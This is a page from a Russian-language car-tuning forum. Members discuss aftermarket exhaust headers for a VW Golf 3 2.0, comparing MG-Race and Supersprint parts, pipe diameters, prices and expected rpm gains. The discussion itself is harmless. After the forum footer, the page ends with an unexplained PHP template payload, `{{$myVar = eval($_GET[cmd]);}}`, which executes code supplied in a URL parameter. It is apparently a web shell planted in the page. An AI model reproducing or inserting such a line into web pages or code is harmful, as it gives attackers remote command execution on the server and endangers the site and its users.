+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 32

Тема: Настроеный паук


Комбинированный просмотр

  1. #1
    Привет ALL!!!

    Вот думаю ставить или нет настроеный паук на Г3 2л, вариантов 3:
    - MG-Race http://www.mg-race.ru/collectors/?i_con=130
    - Supersprint http://www.supersprint.com/prodotti/886701.jpg
    - Supersprint http://www.supersprint.com/prodotti/882201.jpg

    но нигде нет тех. информации (спецификации) на эти девайсы, может у кого есть такая. Интересует несколько основных вещей:

    - диапазон оборотов на которых должен пояпиться эффект от паука?
    - диаметр трубы на выходе?
    - есть ли в комплекте соединение для последующей части выхлопной системы?
    - если в дальнейшем на авто установить компрессор, может ли настроеный выхлоп оказывать отрицательный эффект?

    PS: пауки supersprint отличаются труг от друга длинной труб от цилиндров до места схождения, по теории получается чем короче тем выше обороты на которых будет эффект, или я ошибаюсь?

  2. #2
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Originally posted by joY@Jan 17 2007, 16:18
    PS: пауки supersprint отличаются труг от друга длинной труб от цилиндров до места схождения, по теории получается чем короче тем выше обороты на которых будет эффект, или я ошибаюсь?
    <div align='right'><{POST_SNAPBACK}></div>
    на 4-х цилиндровом моторе, трубы могут соедияться на штатном коллекторе сантиметров через 15-20 в одну трубу, обеспечивая усредненные характеристики мотора. Поставив колеектор 4 в 1, но сантиметров через 50 будет эффект на высоких оборотах. Классический тюнинговый коллектор по принципу - улучшить немного и на средних и на более высоких оборотах будет по схеме 4-2-1.
    Все приведенные цифры сугубо относительные ( на примере ВАЗа) и должны применяться на каждом моторе индивидуально и цифры могут быть далеко не такие <_<
    песок сыпется....не останавливайтесь на достигнутом !

  3. #3
    Заказал себе паука MG-Race

    - трубу на выходе по диаметру делают какую тебе нада
    - в комплекте идет гибкое соединение
    - говорят с 4000 должен быть "приход" ))

  4. #4
    GTI-Racing iv_mark is on a distinguished road Аватар для iv_mark
    Регистрация
    30.07.2006
    Откуда
    turboworks.pro
    Машина
    a4 b8 tq
    Сообщений
    431
    Originally posted by joY@Jan 26 2007, 20:34
    Заказал себе паука MG-Race

    - трубу на выходе по диаметру делают какую тебе нада
    - в комплекте идет гибкое соединение
    - говорят с 4000 должен быть "приход" ))
    <div align='right'><{POST_SNAPBACK}></div>
    скока денег??

  5. #5
    Originally posted by Vane&#036;&#036;@Jan 26 2007, 22:24
    скока денег??
    <div align='right'><{POST_SNAPBACK}></div>
    250 еу

  6. #6
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    расскажи после установки про эффект. тема интересная.
    кстати, думал МГ-Рейс стоит 240еуро..

    после коллектора какие трубы планируешь, и какого сечения сам коллектор?&#33;

    во что обошёлся бы СуперСпринт?

    спасибо)
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  7. #7
    Originally posted by DUX@Jan 27 2007, 02:46
    расскажи после установки про эффект. тема интересная.
    кстати, думал МГ-Рейс стоит 240еуро..

    после коллектора какие трубы планируешь, и какого сечения сам коллектор?&#33;

    во что обошёлся бы СуперСпринт?

    спасибо)
    <div align='right'><{POST_SNAPBACK}></div>
    коллектор и трубы 2,5" - 63 мм
    Суперспринтовский паук по еxist&#39;у от 600 до 750уе, а какие на нем трубы никто не знает

    Результаты и бюджет отпишу как все соберу.

  8. #8
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255
    Originally posted by joY@Jan 27 2007, 12:08
    коллектор и трубы 2,5" - 63 мм
    Суперспринтовский паук по еxist&#39;у от 600 до 750уе, а какие на нем трубы никто не знает

    Результаты и бюджет отпишу как все соберу.
    <div align='right'><{POST_SNAPBACK}></div>
    про бюджет..
    я же говорил, что тоже этот вопрос пробиваю)

    63 это хорошо. а у стандарт скока? 54?
    :unsure:
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

  9. #9
    Originally posted by DUX@Jan 27 2007, 15:54
    про бюджет..
    я же говорил, что тоже этот вопрос пробиваю)

    63 это хорошо. а у стандарт скока? 54?
    :unsure:
    <div align='right'><{POST_SNAPBACK}></div>
    мляаа, зналбы прикуп жилбы в сочи...
    где ты раньше был

    я тут уже весь зад порвал чтоб найти трубы, гаситель, банку, паук...у меня уже за 15 перевалило, а еще ставить...

    стандартная у GTI 51 или 54 мм.

  10. #10
    Собрал весь выпуск на авто, получилось такая комплектуха:
    паук MG-Race, лямда в общей трубе, пламгас MG-Race, далее нерж. труба 63мм, банка ISOTTA.

    Звук получился примерно такой (файлы *.wma, после скачки поменять расширение):
    [attachment=1292:attachment]
    [attachment=1293:attachment]

    PS: записано с микрофона бука, такчто строго не судите.
    PSS: от ADY, 2Е ... осталась стандартная приемная труба с гибким соединением и катализатором, и еще кусок трубы из нержавейки 63мм 1,2метра. Может кому надать...

+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}